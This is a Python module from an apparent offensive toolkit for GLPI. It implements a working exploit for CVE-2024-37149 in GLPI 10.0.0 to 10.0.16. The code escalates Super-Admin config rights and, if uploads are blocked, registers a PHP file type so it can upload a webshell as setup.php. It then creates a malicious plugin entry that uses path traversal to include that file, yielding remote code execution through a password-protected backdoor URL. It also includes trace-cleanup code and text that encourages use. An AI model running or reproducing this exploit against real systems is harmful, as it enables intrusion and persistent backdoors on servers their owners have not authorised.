import re
import time
from http import HTTPStatus
from ..exploit import GlpiExploit
from ..privileges import Privs
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils

class CVE_2024_37149(GlpiExploit):
    """
    This CVE abuses the plugin feature to create a backdoor on the application
    on an existing plugin

    The exploit will not work for GLPI below 10.0.0, because a uniqid is added to the name
    of the uploaded file. Killing the last step of the lfi.

    @author RIOUX Guilhem
    @cvss 5.6
    @name CVE_2024_37149
    """
    min_version = "10.0.0"
    max_version = "10.0.16"
    _impacts = "RCE (through LFI and other tricks)"
    _privilege = "Super-Admin"

    @staticmethod
    def _make_payload(id, column, val):
        """
        Create the payload to update a Plugin column on glpi
        """
        return {"action": "update",
                "items_id": id,
                "itemtype": "Plugin",
                "column_field": column,
                "column_value": val}

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit is [b]Beautiful[/], you are soooo [u]lucky[/] :four_leaf_clover: to use it.\n"
        infos += "..rephrasing.\n"
        infos += "This [b]Reallyyyyyyy beautiful[/] exploit, will set up an LFI on the target.\n"
        infos += "I mean a [b]Beautiful LFI[/] (one of my favorite vulnerability after deserialisation).\n"
        infos += "I hope you find [b]LFI awesome[/] too !\n"
        infos += "Anyway, how does it works and why its dangerous (and [b]Beautiful[/b]) ?\n"
        infos += "\n====================================================================================================\n"
        infos += ":warning-emoji:  Exploit will change the permission of the Super-Admin role to create an arbitrary plugin\n"
        infos += ":warning-emoji:  Then, it will upload a file named setup.php on the global upload dir\n"
        infos += ":warning-emoji:  Finally, it will setup the LFI to this file previously uploaded\n"
        infos += "====================================================================================================\n"
        infos += "Check that the profile SuperAdmin is equal to 4 on the target !\n"

        infos += "\n[u]Did I used it already in assessment ?[/]\n"
        infos += "[b]Yeeeeeeeaaah, worked prefectly[/], still you should move your shell to front or ajax once done !\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Run :smile:[/]\n"
        infos += "--run\n"
        infos += "\n[grey66]# Clean the plugin_id 3[/]\n"
        infos += "[grey66]# I advise you to remove the plugin from the web interface[/]\n"
        infos += "--clean -O plugin_id=3\n"
        infos += "\nExploit is [red b]Dangerous[/] (but use it !)"
        return infos

    def _add_config_right(self, right="31"):
        """
        Exploit mass assignment from super admin to add Config create right

        Right on glpi:
         - READ: 1
         - UPDATE: 2
         - CREATE: 4
         - DELETE: 8
         - PURGE: 16
         - ALLSTANDARDRIGHT: 31

        :param right: The right to set for the config (by default it is 3 on glpi)
        :type right: str

        :return: Whether or not the operation succeeded
        :rtype: bool
        """
        res = self.post("/front/profile.form.php", data={"update":"1", f"_config[{right}_0]":"1", "id": Privs["Superadmin"].value}, allow_redirects=False)
        if res.status_code == HTTPStatus.FOUND:
            Log.msg(f"[b]Config rights[/b] shall have been updated to [yellow]{right}[yellow]")
            return True
        Log.err("You do not have the rights to update profiles")
        return False

    def _safe_directory(self, directory):
        """
        Convert a directory to a safe one. On Windows systems, the plugins
        directory would be like so: ../../../../..C:\\Site\\glpi/files which fails.
        It shall be something like: ../../../../../\\\\.\\C:\\Site/glpi/files (It fails so I use only '/')
        For now it is: ../../../../../Site/glpi/files

        :param directory: The directory to check
        :type directory: str

        :return: The new directory
        :rtype: str
        """
        win_index = directory.find(":\\")
        if win_index != -1:
            Log.msg("Directory is a [red]Windows path[/red], converting it..")

            #################################################
            # Directory is "../../../../../..C:\\test\\files"
            # Become "../../../../../..C"
            # Become "../../../../../.."
            #################################################
            new_dir = directory[:win_index]
            last_dot = new_dir.rfind(".")
            new_dir = new_dir[:last_dot + 1].rstrip("/")

            # new_dir += "/\\\\.\\" + directory[last_dot + 1:]

            #################################################
            # Directory is "../../../../../..C:\\test\\files"
            # Become "test\\files"
            # Become "test/files"
            #################################################
            end_path = directory[win_index + len(":\\"):].lstrip("\\")
            end_path = end_path.replace("\\", "/")

            #################################################
            # Directory is "../../../../../..C:\\test\\files"
            # Become "../../../../../../test/files"
            #################################################
            new_dir += "/" + end_path
            Log.log(f"New directory: [blue]{new_dir}[/blue]")
            return new_dir
        return directory.replace("//", "/")

    def _add_plugin_object(self, directory, state="0"):
        """
        Add a new plugin from nothing

        :param directory: The directory of the plugin, where the file will be included
        :type directory: str

        :param state: The state of the plugin. If set to "1", the plugin will be accessible even
          from unauth user
        :type state: Union["0", "1"]

        :return: Whether or not the plugin has been created successfully
        :rtype: bool
        """
        directory = self._safe_directory(directory)
        plugin_name = "jrjgjk"
        plugin_add = {"itemtype": "Plugin",
                      "action": "add_item",
                      "inputs": f"name={plugin_name}&version=1.0&author=Guilhem&license=GPL&directory={directory}"}

        if state == "1":
            plugin_add["inputs"] += f"&state=1"

        Log.log(f"Adding [b]malicious[/b] plugin [b bright_yellow]{plugin_name}[/b bright_yellow]")
        res = self.post("/ajax/kanban.php", data=plugin_add)
        if res.status_code == HTTPStatus.FORBIDDEN:
            Log.err("You do not have the right to CREATE config")
            return False

        elif res.status_code == HTTPStatus.BAD_REQUEST:
            Log.err("An unknown error occured while creating plugin")
            return False

        Log.msg(f"Plugin [b]{plugin_name}[/b] created !")
        self._write_log(f"Created plugin: {plugin_name}")

        ######################################################################
        # Here we try to recover the id of the plugin created recently in case
        # a problem occured, so you can remove it afterwards
        # with the `clean` param
        ######################################################################
        search_plugin = {
            "action": "display_results",
            "itemtype": "Plugin",
            "criteria[0][link]": "AND",
            "criteria[0][field]": "view",
            "criteria[0][searchtype]": "contains",
            "criteria[0][value]": plugin_name,
            }
        res = self.post("/ajax/search.php", data=search_plugin)
        id_regex = re.compile(r"/front/plugin\.form\.php',\s?{'action':\s?'clean',\s?'id':\s?'(\d+?)'")
        found = re.findall(id_regex, res.text)
        if found:
            plugin_id = found[0]
            self._write_log(f"Plugin created with id: [{plugin_id}]")
            Log.msg(f"Plugin id: [b]{plugin_id}[/b]")
        return True

    def _add_new_documenttype(self, name="Exploit", extension="php", mime="application/x-php"):
        """
        Add a new document type into glpi

        :return: Whether or not the documenttype exists
        :rtype: bool
        """
        data = {"name": name,
                "entities_id": "0",
                "comment": "",
                "icon": "",
                "ext": extension,
                "mime": mime,
                "add": "1"}
        res = self.post("/front/documenttype.form.php", data=data, allow_redirects=False)
        if GlpiUtils.is_access_denied(res.content):
            Log.err("Not enough privilege for exploit")
            return False
        self._write_log(f"PHP Extension added, remove it here {self.glpi_session.target}/front/documenttype.php")
        return True

    def run(self):
        """
        Run the exploit on the target, to backdoor an account
        This exploit will first modify the config right of the Super-Admin profile.
        Then it will upload a 'setup.php' that is classic for GLPI Plugins
        Also, it will create a Plugin entry in the GLPI DB to allow RCE.
        Finally the malicious plugin will be loaded each time the page plugin.php or
          marketplace.php will be accessed
        At the end, the right of the config will be reset for the profile Super-Admin
        """
        Log.log("Do not forget to clean your exploit, click on the broom :broom:")

        # Set english session, used for parsing error message
        self.post("/front/user.form.php", data={"language":"en_GB"})
        glpi_tmp_dir = self.glpi_session.extract_glpi_var("GLPI_TMP_DIR")
        if not glpi_tmp_dir:
            Log.err("Are you sure you are admin, cannot find [b blue]GLPI_TMP_DIR[/b blue] constant value")
            return None

        glpi_tmp_dir = glpi_tmp_dir.strip()
        Log.msg(f"Found glpi_tmp_dir: {glpi_tmp_dir}")
        Log.log(f"Uploading backdoor..")

        # Deleting already uploaded setup.php file
        self.glpi_session.delete_file("setup.php")

        result = self.glpi_session.upload_file("setup.php", GlpiUtils.get_glpi_shell())
        if "error" in result.keys():
            error_msg = result["error"]
            Log.err(f"Got error: {error_msg}")
            if error_msg == "Filetype not allowed":
                Log.log("Adding php extension on the target")
                if not(self._add_new_documenttype("Orange Cyberdefense")):
                    return None

            else:
                Log.err("Unknown error, Aborting exploit...")
                return None

            result = self.glpi_session.upload_file("setup.php", GlpiUtils.get_glpi_shell())
            if "error" in result.keys():
                error_msg = result["error"]
                Log.err(f"Got error: {error_msg}")
                Log.err(f"Cannot upload file, please add the 'php' extension on the target")
                Log.err(f"Here: [link={self.glpi_session.target}/front/documenttype.form.php]documenttype.form.php[/link]")
                return None

        file_url = self.glpi_session.r("/files/_tmp/" + result["name"])

        if result["name"] != "setup.php":
            Log.err(f"File uploaded with the wrong name: {result['name']}")
            Log.err(f"Aborting exploit")
            self.glpi_session.delete_file(result['name'])
            return None

        Log.msg(f"Files uploaded {file_url} !")
        Log.log(f"Setting up LFI...")

        if not self._add_config_right():
            Log.err(f"Aborting exploit..")
            return None

        if not self._add_plugin_object(directory=f"../../../../../../../../../../../../../../../..{glpi_tmp_dir}"):
            self._add_config_right(right="3")
            return None

        Log.log(f"{self.glpi_session.target}/front/plugin.php?passwd=P@ssw0rd123&_hidden_cmd=#<whoami|optionnal>")
        self._add_config_right(right="3")

    def clean(self, plugin_id):
        """
        Function to clean the traces of the previous exploit

        :param plugin_id: The id of the plugin that has been tampered
        :type plugin_id: str
        """
        if not plugin_id.isdigit():
            raise ValueError("plugin_id must be digits only")

        delete_data = {"action": "clean", "id": plugin_id}
        res = self.post("/front/plugin.form.php", data=delete_data, allow_redirects=False)
        if not GlpiUtils.is_access_denied(res.text):
            if not self.glpi_session.delete_file("setup.php"):
                Log.log("No setup file removed")
            Log.msg("Backdoor must have been removed")
            self._write_log(f"Backdoor has been removed, by cleaning the plugin with id [{plugin_id}]")
        else:
            Log.err("Not enough privilege, please use another user")
